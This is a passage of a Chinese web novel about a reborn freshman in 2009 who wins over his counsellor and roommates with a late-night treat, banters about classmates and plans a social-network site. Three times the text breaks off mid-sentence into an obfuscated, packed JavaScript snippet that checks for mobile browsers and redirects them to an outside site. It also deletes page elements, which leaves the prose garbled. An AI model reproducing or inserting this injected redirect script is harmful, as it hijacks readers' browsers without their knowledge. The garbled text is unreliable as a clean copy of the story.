立棍成功的陈总，无疑是最有号召力的。 杨少杰很快点头。 广东仔薛文彬却有些扭捏。 他是典型的乖孩子——要不然怎么会QQ上一个女生都没有？ 暑假在家时、睡觉都没有超过晚上十点的。 陈总当然不会允许寝室第一次聚餐就有人缺席。 “靓仔，给你个机会重新组织下语言啊——你要不去，今晚我喝多了上错床，搂着你睡一夜，你可别叫。” 薛同学哪儿见过这个，嗖的一下就从床上爬了起来。 王子聪和杨少杰都笑得前仰后伏。 王大少笑了一阵后，思维有些发散。 陈让身上这股混不吝的劲儿，蛮横确实蛮横，却又诡异的不让人反感，天生就是搞交际的一把好手。 他爸好歹是白手起家的房产大亨，王大少太清楚这种擅长交际的性格，在生意场上有多吃得开。 哥几个出门前，都捯饬了一番。 连向来不在乎仪表的陈让，也拿过王大少从韩国代购的高端啫喱水，小小搞了下发型。 武侯区这边，汇聚好几所大学，美女绝对不缺。 陈总没想过来场艳-遇。 但在异性面前展现自己最好一面，乃是所有雄性生物的本能。 说白了，没有这方面基因的雄性，早就绝种了——此乃“进化论”、科学的鸭批。 哥几个准备出宿舍，冷不丁传来个声音。 “陈让，这都多晚了，你们606打算去哪儿，还都挺花枝招展……” 回头一看——刚查完寝的辅导员严国栋。 班上这么多男生，严国栋才接触两天，不可能都记得，但他对陈让印象挺深。 成绩好只是一方面。 这小子，可是入学第一天就敢搂他肩膀的。 其他哥仨都有些头大。 思维模式还是没转变过来。 下意识把辅导员当成高中班主任。 都眼巴巴看着陈总。 陈让笑了笑：“严老师，宿舍楼十二点才关大门，这才十点不到，也不算太晚，这不肚子饿得慌，就带着大家出去吃点东西。” 哥几个都舒了口气。 心想陈六子是真仗义。 人家说的是“我带着大家去吃宵夜”，而不是“我们打算去吃宵夜”，等于把所有责任都揽在了自己身上。 对于这点，向来心高气傲的王大少，也表示很服气。 严国栋摆手。 “那你们别吃太晚，等下宿舍大门关了，进不来的话，可别给我打电话。” “严老师，这个您放心，我有分寸。” 事实上过了十二点也没关系。 陈让昨天就把宿舍守门的秦大爷打点好了。 送了整整两条蓉城这个年代非常行销的蓝色骄子烟。 到新地方先把地皮踩热，早就是陈总的本能。 严国栋嗯了一声，打算离开。 陈让却又开口：“严老师，要不咱们一起去吃？” 其他哥仨汗**都起来了。 六子这是打算干嘛？ 严国栋先是一愣，接着拒绝。 “算了吧，你们去吃就行。” 陈让既然开了这个口，当然有办法让严国栋拒绝不了。 “严老师，我下午时，把咱们金融一班五个男生宿舍都逛了一遍，大家想跟您吃顿饭呢。所以——择日不如撞日？” 哥仨听到这里，都满脑袋浆糊。 六子下午时不一直窝寝室、跟他们斗地主么。 还赢了他们一百多块钱呢。 什么时候把金融一班男生宿舍都逛了一遍？ 未必他还会“影分-身之术”？ 开什么玩笑，这个世界很科学的。 严国栋不大相信：“真的？” 陈让果断点头，说当然是真的，您要不信，给我十分钟，我把咱班上所有男生，都叫到楼底下给您检阅。 严国栋也就没有再推脱，点了点头，说那我在楼下等你们。 他走后，王子聪满脸疑惑。 “六子，你啥时候把咱们班宿舍都逛了一遍？” “梦里。” “……” 王大少张大嘴巴。 “六子，那你不是骗了严老师，等下怎么收场？” “王老五，说你傻吧，有时候你贼机智，说你聪明，你脑袋又转不过弯。” 陈让眯了眯眼。 “我现在去咱们班那几个寝室，跟他们说辅导员就在楼下，号召大家一起去吃个宵夜，可能会有人拒绝？” 王大少也就懂了。 发自肺腑的竖起大拇指。 陈让这个骚操作，让他想起了一个经典段子——“比尔盖茨的女婿”。 这个段子，通过巧妙的资源整合逻辑，塑造了一个“空手套白狼”的经典故事。 第一步，虚构身份。 某位父亲希望儿子成为比尔盖茨的女婿，于是跟盖茨说，我儿子是世界银行的副总裁，想成为您的女婿，盖茨因为对方的优秀身份，初度同意联姻。 第二步，反向操作。 这位父亲转头找到世界银行，说我儿子是比尔盖茨的女婿，想担任你们银行的副总裁，世界银行因为比尔盖茨的天大名头，选择了接纳。 第三步，闭环达成。 通过双重虚构身份，儿子又成了盖茨的女婿，又成了世界银行副总裁，可谓“出任CEO、迎娶白富美、走向人生巅峰”！ 段子当然只是段子。 不过底层逻辑经得起推敲，核心要点在于“信息不对称”。 想着这些，王大少愈发觉得陈让有东西了。 十来分钟后，金融一班所有男生，都在楼底下集合。 严国栋有被陈总强悍的组织能力震撼到。 顺便考虑着陈让这通折腾的原因——想当班长？ 他更倾向选个女生当班长。 班上一个叫罗琴的女孩子就不错。 非常踏实。 今天新生报名，帮了他不少忙。 现在他有些动摇。 陈让的组织能力，罗琴绝对没有。 选罗琴当班长，他会省心。 选陈让——金融一班大概率会很出挑、在大学四年赢得很多班级荣誉。 一行人浩浩荡荡到了学校大门。 陈让走在前面、顺道拐进保安室。 跟几个保安交流几句后，又在桌上扔了两包烟。 他不抽烟——但随身携带。 严国栋有些疑惑，等陈让出来后，问他去保安室干嘛。 陈让说怕待会儿吃得太晚，进不了学校，提前跟保安们打声招呼。 严国栋正想说，有他在，怎可能进不了学校，话到嘴边又给憋了回去。 想明白了陈让这么做的原因。 他作为辅导员，这么晚带着学生出去吃宵夜，虽然没违反纪律，但是传到校领导耳朵里，终究会有些**。 陈让提前把保安们打点好，哪怕待会儿大门真关了，也用不着他出面——这是在为他考虑。 这么一琢磨，严国栋心中的天秤、逐渐朝着陈让倾斜。 跟高中不同，班长在大学里有许多实权。 辅导员不在，那就是真正的“常务副辅导员”。 陈让把严国栋的微表情都纳入眼中，表面不动声色，心里却给自己点了个赞。 想在大学里创业，首先自己要混得开，所以班长必须拿下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15528495|170784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 吃宵夜就是吃宵夜。 陈让整个过程都很低调。 没跟着几个酒蒙子，仗着自己酒量好就劝这个、灌那个——虽然他大概率是班上酒量最好的。 灵魂彻底融合后，上辈子锻炼出来的酒量也逐渐回归了。 现在的陈总，字面意义上的“白酒一斤半、啤酒随便干”。 酒局将要结束时，陈让偷摸着去了趟吧台，几分钟后又若无其事回了座位。 几分钟后，严国栋去结账时——跟学生们吃宵夜、他肯定不会让学生们掏钱——发生了这样一幕。 “严老师，你不是已经结过账了？” “结过了？” 老板指了指正安排大家有序回校的陈让。 “刚才你这位学生过来，说是你吩咐他拿着你的钱包，过来先买单的。” “这——” 严国栋也就懂了。 这小子，偷摸着把单买了不说，还照顾了他的面子，说是自己让他买的。 为人处世这方面，简直滴水不漏啊。 严国栋甚至还猜到了，后续陈让肯定不会让大家A这个饭钱，但他肯定会让大家知道有这么个事。 怎么让大家知道？ 肯定不会自己说。 那样太刻。 严老师沉吟片刻，突然“靠”了一声。 陈让肯定盼着自己来说，然后他再大手一挥，给大家免了——那班上所有男生，不就都被他收买了？ 严国栋心里，有点儿“原来我也是你小子计划一部分”的不爽，却还是决定如陈总所愿。 拿人手短。 刚才为什么不愿意出来吃宵夜？ 有部分原因就是心疼钱。 辅导员勉强也算师长，跟班上同学第一次聚餐，就让大家A——有些辅导员倒也做得出来，但严国栋拉不下这个脸。 三十来个大小伙子，一顿宵夜造下来，没三千块下得来？ 这都是他大半个月的工资了！ 陈让替他出了这个钱，他就必须领这个请，配合着唱完这出“陈总施恩”的戏。 严国栋走到人群中，清了清嗓子： “咳，同学们，刚才老师本打算去挂个账明天过来结的，结果咱们班陈让同学提前就买单了——陈让，你明天来一趟我办公室，我把钱数给你，今天没带这么多现金。” “再怎么说，这顿也该老师来请的。” 陈总挑了挑眉——“小严”果然是个通透人，上道！ 他环视一周：“咱们怎们能让严老师请客呢？今天这顿，那都是严老师一个月工资了……” 其他同学纷纷附和。 都不用陈总再说什么，就有人站出来提议，说咱们大家来A，回宿舍后就把钱给陈让。 到了这一步，陈总收买人心的计划，也就毫无烟火气息的达成了。 除了严国栋——任谁也不知道、这一切都是算计。 花钱谁都会花。 怎么花法，那可都是学问。 散场后，六零六哥几个互相搀扶着回寝室。 都尼玛十二点过了，莫愁湖边小树林，却还有十几对情侣，在那里亲的吧唧吧唧。 陈总觉得很烦。 所以他深吸一口气，嗷嗷来了一嗓子：“保安来啦——” 点了炮仗。 小树林情到深处不自禁的情侣们，都受了惊吓，作鸟兽散。 其他哥仨都笑得前仰后伏，心想“老六果然是条老六”! 哥仨对陈总的评价，的确很中肯。 一句“保安来了”、惊散不知多少情侣后，这家伙还摇头晃脑的念了句词。 “争渡，争渡，惊起一滩鸥鹭！” 回到宿舍后，班上男生们，陆陆续续来了六零六，要把饭钱给陈让。 刚才那顿宵夜吃的烧烤，蜀省这边的烧烤本来就贵，再加上大家还喝了许多酒，哪怕A下来，每个人也有大几十块。 对这个年代、普遍生活费在600到1000的大学生来说，不算少了。 饭钱陈让肯定不会收，大手一挥，表示“今晚所有消费都由陈公子买单”。 杨少杰跟薛文彬，没看出别的东西，只是在感慨，六子眼睛不眨一下，就能拿出三千块钱请宵夜——感情他跟王子聪一样、也是个富二代？ 王大少却看出来了——陈让这是在收买人心。 “陈六子进校第一天就在宿舍立棍，第二天又在全班立棍……好啊家伙，他在蜀大四年经营下来，怕不是要留下来当校长哟……” 钱这玩意儿，王大少肯定不缺。 今晚陈让请客的三千块钱，对他来说也就洒洒水。 但是扪心自问，即便今晚这个客是他请的，也不可能有人家陈让的效果。 刚才班上二十几个男生、陆陆续续过来给钱，陈让居然能叫出超过一半人的名字！ 显然刚才吃宵夜喝酒时，自己光顾着炫耀酒量，陈六子却在记名字。 这家伙大手一挥免了大家的饭钱，却没有给人颐指气使的感觉。 他跟过来给钱的男生、每个都说了三五句话，然后就能把大家都说得很舒服。 “世事洞明皆学问，人情练达即文章。” 别说同龄人，哪怕父辈里，如陈让这般高情商的也不多见，甚至寥几。 他的父辈，那可都是各行各业的成功人士，站在金字塔顶端的那撮。 沉吟至此，王子聪愈发觉得陈让邪乎。 “还好，还好，少爷我只是个木有灵魂的富二代，跟这小子不是一条赛道的，不然肯定会自卑的。” 第69章 剪刀石头没有布 第六十九章剪刀石头没有布 随着那轮金色大光球缓缓升起，时间线来到了2009年9月1号。 六零六其他哥仨，都忍着宿醉后遗症，起了个大早，然后开始捯饬自己。 今天正式开学第一天，上午九点，金融专业一班会在阶梯教室举办“新生见面会”。 用膝盖想都知道，哥仨早早起床梳妆打扮，是为了在班上女生心中留个好印象。 陈总没这么骚包——讲道理嘛，“新生见面会”而已，又不是要参加“相亲大会”。 他睡到八点半才起床。 看着仨室友，陈总忍不住乐呵。 好家伙，个个都倒腾的花枝招展。 尤其王子聪这货，高端进口咖喱水、搁脑袋上喷了一遍又一遍，接着又用把小剪刀修鼻毛。 怎么描述呢——精致的就挺猥琐。 陈让简单洗漱、换了身清爽衣服后，跟着三头骚包出门。 走没两步，王大少看着陈总，重重皱眉。 颜值这玩意儿，有对比才有差距。 陈让一米八三大高个，又有些肌肉线条，一件普普通通的白衬衣，穿他身上竟也显得贵气。 五官周正，皮肤白净，举手投足，还有种很玄乎、但是真实存在的雍容。 王大少就很烦，有种“邹忌”见“城北徐公”的参差感。 陈总给这个逼看得很不自在。 “王老五，**老盯着我看啥？” “六子，你回宿舍换件衣服吧，感觉你的颜值有点威胁到哥哥我了！” “这个吧……其实我也经常感到烦恼的，你说我要是哪天出了意外，这个世界岂不是就没有帅哥了？” “……” 王子聪更烦。 虽然他颜值比不过陈让，但是他装逼也装不赢。 “六子，算哥哥我求你，你赶紧回宿舍、把自己捣鼓的丑一点……” “对不起，我属于是‘天生丽质难自弃’，再扮丑也没用的……行了，王老五，**不就是想在班上女生们面前找点存在感么，待会儿看我眼色行事，给你个闪耀的机会！” “真的？” “保真。” 宿舍去阶梯教室的路上，除陈让外，哥仨都挺兴奋。 不过等真的到了阶梯教室门后，仨骚包却又怂了，谁也不敢先进教室。 “六子，要不你先进？” 王子聪碰了碰陈让胳膊。 杨少杰和薛文彬也跟着嚷嚷，说“六哥、你打头吧”。 陈总先是在六零六立棍，接着又在全班立棍，现在也就王大少还敢大大咧咧叫他“六子”。 杨少杰跟薛文彬哥俩可没这底气，很丝滑的把称呼切换成了“六哥”。 “三条棒槌，好酒无量，好-色无胆，思之令人发笑。” 陈总露出个鄙夷眼神后，缓步进了教室。 也没刻意抬头挺胸，主打一个松弛感。 后面跟进哥仨，却都不由绷紧身体。 昂首加挺胸，就只差走正步。 仿佛班上所有女生都在看自己，然后心如鹿撞夸自己帅。 好吧，这个年龄段男生是这样的，内心戏贼他妈多。 或许在哥仨本人看来，自己今天贼有气质。 但是落在陈总眼中——这三条大马猴搁那儿冒出来的？我的三个室友呢。 各自落座后，陈让环视一周，发现班上女生们基本都到了，男生却只到了十来个——显然还没到的、都还在跟宿醉的debuff抗衡。 此时王子聪碰了碰陈让的胳膊。 “干嘛？” 王大少没说话，就那么眼巴巴瞅着。 陈总也就懂了。 “咳——”他装模作样清清嗓子，“那个，五哥，把你手机给我用一下，发条短信，我手机落宿舍了。” 王子聪刚开始表情很der——毛线哦，刚才不还见你用过？ 陈让开始跟自己挤眉弄眼后，王大少瞬间明了，赶紧把自己的大机霸掏了出来。 陈让接过，加大音量：“**，五哥，你这什么手机啊，这么炫酷……多少钱买的？” 王大少瞬间打直腰杆，恨不得立马开个屏。 “你说这手机啊，诺基亚N97，最新旗舰款，国内都还没上市，你没见过倒也正常……至于价格，倒也不算贵，也就七千多。” “七千多，还也就？” 陈让张大嘴巴，表情略显浮夸。 “五哥，原来你是富二代啊，失敬失敬……你这部手机都顶我爸两月工资了，我跟你称兄道弟，是不是有点僭越？” “这个吧——” 王子聪努力装作云淡风轻的样子。 “六子，你这是什么话，我家是很有钱，但是你千万不要因为这个，就跟我产生疏离。” “其实你五哥这人交朋友，就不在乎他有钱没钱——反正都没我有钱——合眼缘才是最重要的！” 陈让：“……” 你们姓王的富二代，都这么说话的？ 有陈让给自己当捧哏，王大少现在就很爽。 吃了人参果般，浑身毛孔都打开了，甚至有种过电的快-感！ 因为他发现，班上女生们，十之七八都在看他，伴随窃窃私语。 稳了！ 王大少觉得自己这波真的稳了！ 未来四年，在班上都会有优先择偶权！ 他没忘记陈让这个捧哏，拍了拍他的肩膀。 “六子，哥哥我发现你这人还是能处的！” 陈让瘪嘴：“王老五，光说不练假把式。” 王大少还是挺大方的——尤其装逼成功以后。 他拍着胸脯。 “这么着，以咱们蜀大为中心，方圆十里地，你随便找哪家酒楼，哥哥我都请！” 陈让：“……” 尼玛富二代就是牛逼！ 陈总觉得自己哪怕资产再翻十倍，也不会这么糟践钱的。 只能说思维模式不同。 富一代有钱就想着钱生钱，富二代可不管这些有的没的，造就完了。 其他哥俩，此时脑袋也凑了过来。 杨老三眼巴巴的说：“老五，你就只请六哥？” 王大少大手一挥，豪气干云：“一起，都请，多大个事儿！” 陈让此时却语重心长的说：“哥几个，我有个建议啊，大家谈恋爱可以，但是最好别找本班的女生。” “为啥？” 哥仨都迷糊。 陈让一本正经：“要没修成正果，日后尴尬。” 喜欢捣鼓几句酸词、自诩是个文艺咖的杨少杰疑惑： “六哥，这有什么好尴尬的啊……大不了，一别两欢、各生欢喜。” 陈让白他一眼：“老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15528496|170784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三，有没有可能——我说的‘日’是个动词。” 哥仨先是迷糊，陆陆续续反应过来后，肩膀都不住抖动。 得勒，其实整个六零六，就数六子最他妈骚。 此时距离班会召开还有个十来分钟，陈让想了想，起身去了隔壁经济专业开班会的阶梯教室——林静姝选的就是经济专业。 金融跟经济——蜀州大学经济学院的两大王牌。 前者偏实践，后者重理论。 林静姝显然更喜欢做学问、搞研究，所以选了经济学。 到了经济专业开新生见面会的阶梯教室后门，陈让很快看到了林静姝。 因为林大美人会发光。 人会发光这个事儿不科学，但是事实就是如此。 林静姝和她三个室友坐成一排，时不时还会侧过脑袋、跟室友们聊那么一两句。 看着这一幕，陈总也就放心了。 零食攻略还是挺成功的，林静姝没再被室友们孤立，而是很好融入了进去。 或许是冥冥中的感应—— 正跟旁边叶芊芊说话的林静姝、突然转过头，目光恰好跟站在后门的陈让对上。 她脸上表情瞬间灵动、露出一个甜到某人心坎儿的笑容。 一两秒钟后，学神少女跟某人比了个剪刀手，还不住在脸颊旁晃动。 “切，都九八五大学生了，怎么还这么幼稚？” 陈总想是这样想，身体却不受控制，也跟林静姝比了个剪刀手。 肯定是好胜心被激发了。 学神少女居然又抬起左手，跟陈让比了两个剪刀。 于是某人报复心也起来了，立马跟林大美人比了两个拳头。 林静姝目瞪口呆——还能这么玩儿？ 她正打算把剪刀改成手帕，陈让却没给她机会，露出个嘚瑟表情，吹着口哨、扬长而去。 林静姝不由嘟起嘴巴——她的好胜心，可比陈让大多了。 整个过程——边上叶芊芊完全看傻了。 在她看来，林静姝显然是个高冷挂，无论长相还是气质、都挺冰山美人。 打死也不会想到，她也会有这么幼稚的一面。 还有—— 刚才那个的男生，难道是林静姝的男朋友？ 可是也没有很帅吖。 叶芊芊的第一感觉——这两人可不怎么般配。 叶同学的心理活动，陈总肯定不知道，毕竟他这样“好清纯、好不做作”的重生者，就不可能觉醒“他心通”之类的神通。 要知道了，肯定会给她一记“大荒囚天指”。 同学，眼睛都这么瞎了，咱干脆就捐了吧。 实在舍不得，咱就去华西最好科室挂个号，陈总给你出这个钱！ 陈让回本班开新生见面会的阶梯教室后不久，辅导员严国栋进了教室，精神却有些恹恹——“小严”昨天可是被班上男生们灌了不少酒。 其实昨晚宵夜，严国栋一开始是强调过不能喝酒的。 不过真到了大排档，三十几个大小伙子一起哄，喝不喝就不是他说了算的。 从“最多只能喝两瓶”、很快变成“原则上只能喝两瓶”，然后快进到“严老师、搁这儿养鱼呢，赶紧把您那两瓶喝了”。 陈让昨晚是全程看着严国栋被灌翻的。 忍不住摇了摇头，心想“小严还是年轻，需要沉淀沉淀”。 第70章 富哥就是牛逼 第七十章富哥就是牛逼 随着严国栋走进教室，新生见面会正式开始。 全国高校的新生见面会，基本都一个模式，辅导员在上面巴拉巴拉，讲些“欢迎同学们来到大学、开启人生新篇章”的套话。 以及大学生涯第一个重头戏——为期半月的军训、相关注意事项。 在陈总眼中还需要沉淀的小严，也是这么讲的。 还一人发了本小册子——蜀州大学校规。 小严这些个套话，陈总懒得听。 思维早发散了。 心思都在自己的“新和连胜”，也就是准备捣鼓的网站。 当然不可能真叫“新和连胜”——他又不是钓鱼不带头盔的大D哥。 名字早就想好。 千橡互动的陈一舟，玩了许多脏套路后，从王兴手中薅走了“校内网”，然后改名为“人人网”后，真正做大做强。 陈总早就打定主意，要以更脏的套路、撬了“人人网”的盘子——大学生群体。 讲道理，那可是大几千万的新鲜韭菜！ 怎么撬暂且不表。 首先名字得压对面一头吧——所以“新和连胜”叫做“众众网”。 单纯山寨“人人网”没有太大难度。 “人人网”就是个粗糙半成品。 UI设计、人机交互、操作逻辑、界面美观…… 都乏善可陈。 毕竟“校内网”本质上、也是对“Facebook”的拙劣模仿。 陈让打算在山寨“人人网”基础上、作相应的优化和改良。 优化部分属于**工夫，舍得给程序员花钱就行。 值得一说的是改良—— 他准备把后世“知乎”、“小红书”、乃至“今日头条”和“微博”的对应玩法，都尽量融进去。 这些玩法可都经过市场考验的。 直接“拿来主义”，都不是“摸着石头过河”了，而是坐豪华游轮。 后世的新潮玩法和引流手段，放在零九年，百分百能对所有类论坛网站——哪怕是“天涯”和“贴吧”——形成“降维打击”。 区区“人人网”——用萧大王的话说，“老魔小丑，岂堪一击”！ 新生见面会开了大概两个小时。 随着严国栋说出那句大家早就盼着的“解散”，教室里众同学都舒了口气。 不过留给这群大一新生的悠闲时光，也就只剩下最后大半天了——明天就会开始长达半个月的军训。 金融一班六十来号人，窸窸窣窣，作鸟兽散。 按照性别分成泾渭分明两拨。 才刚进校，班上连个QQ群都没，男女生完全没有熟悉的渠道。 陈让看着这一幕，就挺想笑。 别看现在班上男女生、谁也不看谁一眼，好像有什么仇怨。 要不了多久，这种疏离就会被打破。 讲道理，一群刚经历过高三地狱模式的年轻人，进入相对自由的**塔后，除了一小撮道心格外坚定的、绝大多数人都会想谈恋爱的。 撤离的过程，班上男女生，其实都在暗戳戳的互相观察——男生们闷-骚中带着矜持，女生们矜持中带着闷-骚。 陈总甚至可以直接下推论——都不用等到军训结束，班上就会出现几对情侣。 六零六-四大金刚回宿舍的路上，杨少杰这个闷-骚-货率先打开话匣子。 “六哥，你觉得我们班的女生，哪个最好看？” 刚才“新生见面会”最后阶段，严国栋让学生们逐一上台自我介绍。 班上那几个高颜值女生，哥几个肯定把名字都记下了。 陈让除外。 他光想着自己的“新和连胜”，基本没关注班上女生群体。 杨少杰这个问题，陈总只能搪塞。 “额，觉得都差不多啊……我这人脸盲。” 王子聪白了陈让一眼。 “六子，你不是脸盲，你是眼瞎……” “我们班最好看的女生，肯定是米莱啊！” “个子高挑，胸也不小，腿也又白又长……” “少爷我宣布啊，一个月后就让她变成你们的弟妹和嫂子！” 王大少这么一说，陈总回忆一番、倒也对这个叫米莱的女生有些印象了。 漂亮不漂亮的，倒也就那么回事。 未必还能跟林静姝比啊——那是碰瓷儿。 比夏灵珊和赵兰蕤，这姑娘颜值也差了一档。 那么陈让为什么还能对她有一丢丢印象呢——她骚。 刚才上台自我介绍时，米莱穿着双水晶鞋，露出的玉足白-皙-粉-嫩，脚趾清晰又圆润，还涂着粉红色的指甲油。 顾盼之间，烟视媚行。 压根就是个小妖精。 这种类型的女生，大学并不多见。 女生们通常都不会喜欢——会在私底下骂一句骚-货。 但是架不住男生喜欢。 一念至此，陈让笑了笑：“王老五，米莱要真能成我嫂子，那我是不是就能吃饺子了？” 王大少肯定生气。 “陈六子，**的，少爷我早晚撕烂你这张嘴！” 杨少杰和薛文彬，都笑得“库库库”的。 王老五跟陈老六，一个明骚，一个暗贱，这两人斗嘴，那是真欢乐。 陈让摸了摸下巴：“开个玩笑……我可没觉得米莱好看。当然这只是我个人看法，毕竟我这人……阈值比较高。不是大美人，我看都懒得看一眼的。” “切——” 其他哥仨都狂翻白眼，集体竖起中指。 都觉得陈让在装尬逼。 米莱不是那种祸水级大美人，当个系花却也绰绰有余。 反正就不是普通人能追到的女生。 哥仨觉得，陈让这么说，肯定是觉得反正自己都追不到、干脆就装作不在乎。 一念至此，王大少愈发坚定了自己要追米莱的想法。 比装逼和立棍，陈六子确实比他厉害一点点。 所以撩妹这条赛道，万不能再输了——否则他王大少的颜面往哪儿搁？ 这条新赛道，王大少还是挺有信心胜过陈让的。 毕竟这家伙自己都说了——这辈子没谈过恋爱。 而且入学第一天，他跟杨少杰和薛文彬讨论如何撩妹时，陈六子也根本参与不进来。 后来为了掩饰尴尬，还吹逼说有三个妹子主动约他吃饭——这不是离谱他妈给离谱开门么。 “呵呵，六子啊六子，等少爷追到米莱，看我怎么滋你吧！” 开完新生见面会，不过十点过。 这时吃午饭显然太早。 哥几个先回寝室，准备十一点过再出发。 午饭肯定是王子聪请——王大少早说了，以蜀大为中心，方圆十里的酒楼任选。 陈让倒也没真想砍王子聪的大动脉——这点分寸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15528497|170784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他还是有的。 选了学校西大门商业街一家中档酒楼，名叫“蜀锦”。 回到寝室后，陈让正打算跟林静姝发个消息，跟她说中午自己寝室聚餐，问她要不要来。 单独跟自己吃饭，林静姝肯定很愿意。 但是加上自己三个室友——陈总得考虑到，某位学神少女、终究是个深度社恐。 结果消息还没发出去，林静姝的信息先来了。 林大美人在QQ上跟他说，她们宿舍中午要聚餐，所以不能陪他一起吃午饭，还叮嘱他要记得好好吃饭，吃饱了下午好遛她。 长长文字后面，跟着学神少女标志性的微笑表情三连击。 陈让回了句“好的”。 又闲聊几句后，林静姝突然给他发了两个“手帕”。 “啥玩意儿？” “陈让，刚才你出了两个‘拳头’，所以我出两个‘手帕’。” 陈让忍俊不禁。 “林静姝，你可真是秦始皇摸电线——赢麻了呀。” 刚跟林大美人聊完天，还没放下手机，又来信息了。 跟他有过两面之缘的赵兰蕤。 “陈富贵同学，中午要不要一起吃个饭？校门口的蜀锦楼就不错。” 陈让微愣。 这两天，赵兰蕤有事没事，都会找他聊几句，分享一些她的日常。 也不止一次叫他有空时吃顿饭——陈总都得搪塞了。 这次依旧打算推掉。 虽然陈总并不觉得、自己有那个魅力，短短两面之缘，就能让赵大美女对他有想法。 但都是有“好朋友”的人了，该避讳还是要避讳的。 这次陈总没能成功。 赵兰蕤此次找他约饭的理由非常充分。 她跟陈让说，她妈妈就在一家慈善基金任职，如果合适的话，她可以帮着联系撮合一下，由这家慈善基金、资助“阿衣那”上完大学。 这是个正事。 里面牵扯到许多细节，不见面肯定说不清楚。 见面了不一起吃个饭、那就真说不过去了。 陈让沉吟后回复： “赵小七同学、倒是巧了，我们宿舍刚好也要去蜀锦楼聚餐，不过是我室友请客……我先问问他啊，他要没意见，咱们就一起，要不行的话，咱们就改天约。” “好的。” 赵兰蕤很快回复，还加了个笑脸。 江湖规矩，客不带客。 陈让立马跟王子聪说了，自己有个朋友，也约着中午到蜀锦楼吃饭，这不就赶巧了，能不能叫上一起？ 王自子聪大手一挥，说你带啊，咱哥俩你还客气啥。 于是陈让跟赵兰蕤发信息，说那十二点左右咱们蜀锦楼碰头。 发完信息，陈总正准备去洗个脸，大黄哥居然来消息了。 “小陈，我在公交车上，待会儿就到蜀大，中午你得管饭。” 陈让无奈，只得又跟王子聪讲，他还有个电子科大的发小也要过来。 王大少翻白眼：“陈六子，你丫故意逮着我薅？” 陈让的确也有些不好意思：“屁，真是凑巧的，要不中午这顿我请吧……” “去去去——” 王子聪倒是不乐意了。 “瞧不起你五哥？还有朋友要来没，尽管叫，皱下眉头算我输！” 陈总能说啥，只能给某位大少爷比拇指。 “吊吊吊，富哥就是牛逼！” 第71章 六哥、开课吧！ 第七十一章 六哥、开课吧！ 十一点半，六零六-四大金刚从宿舍楼出发，直奔西大门商业街蜀锦楼。 值得一提，出宿舍大门时，看门的秦大爷，还呵呵呵跟陈总打了招呼——经济学院这么多新生，入学第一天就给他送烟的，还真就陈让一个。 往后这些新生肯定会有许多、学着陈总讨好秦大爷——却不可能达到陈总的效果。 要不说“还得是你陈总”，总能把钱花明白咯。 十多分钟后，哥几个到了蜀锦楼。 王子聪大手一挥，让服务员拿来菜单，然后让哥几个可劲儿造。 杨少杰跟薛文彬瞄了眼菜单，有被价格吓到。 即便蜀锦只是家中档酒楼，却也不是一般学生能消费的。 两人都扭捏着不敢点菜。 王子聪请的是陈让，他俩都算蹭饭——这点逼数两人还是有的。 阶级差距这种东西，不是说不在乎就真能不存在。 六零六要没有陈让始终压了王子聪一头、这位大少爷、对杨少杰和薛文彬，肯定会比现在傲慢许多。 陈让只得拿过菜单。 他点菜时，其他哥仨都看向窗外商业街。 “看啥呢？” 点完菜后，好奇心趋势，陈让也跟着看向窗外。 知道了原因。 金融一班十来个女生，此时正在商业街购物。 其中就包括刚才哥几个讨论过的、金融系准系花米莱。 这下陈总看真切了。 的确漂亮。 哪怕在陈总的打分标准里，也能拿八十五分。 五官精致又狐媚。 胸不算很大，腰却是真细。 走起来路招摇惹风，仿佛能够荡出一圈水。 如果陈总还是十七岁—— 大抵会夸她秋水剪瞳、眼波迷蒙；赞她杨柳细腰、举步轻摇。 可惜某人已经十八岁了，绞尽脑汁，脑袋里也只有这么一句话。 “骚，真他妈的骚。” 王子聪碰了碰陈让。 “六子，就说你口是心非吧，刚才还说米莱颜值一般，达不到你的阈值，现在还不是眼巴巴的瞪着人家看？靠，都流哈赖子了……” “不过你也别觊觎了，这样的小妖精，眼光高着呢，放眼整个金融系，除了你五哥这样的高富帅，就不可能有人追得到！” “你他妈哪只眼睛看到我流哈喇子了，我就是好奇你们三条棒槌在看啥……” “解释就是掩饰！” “……” 杨少杰嘿嘿笑：“老五，你就别戳穿六哥了嘛，他追又追不到，还不能让他过过眼瘾？” 王子聪继续蛐蛐：“六子，米莱你肯定拿不下，要不你去追刘雯吧？刘同学也没比米莱差多少。” 王大少口中的刘雯，也是金融一班女生，此时就在米莱身旁。 刘同学单看五官也算小美女，就是气质有些土。 大概可以看成某位女演员的打骨折版本？ 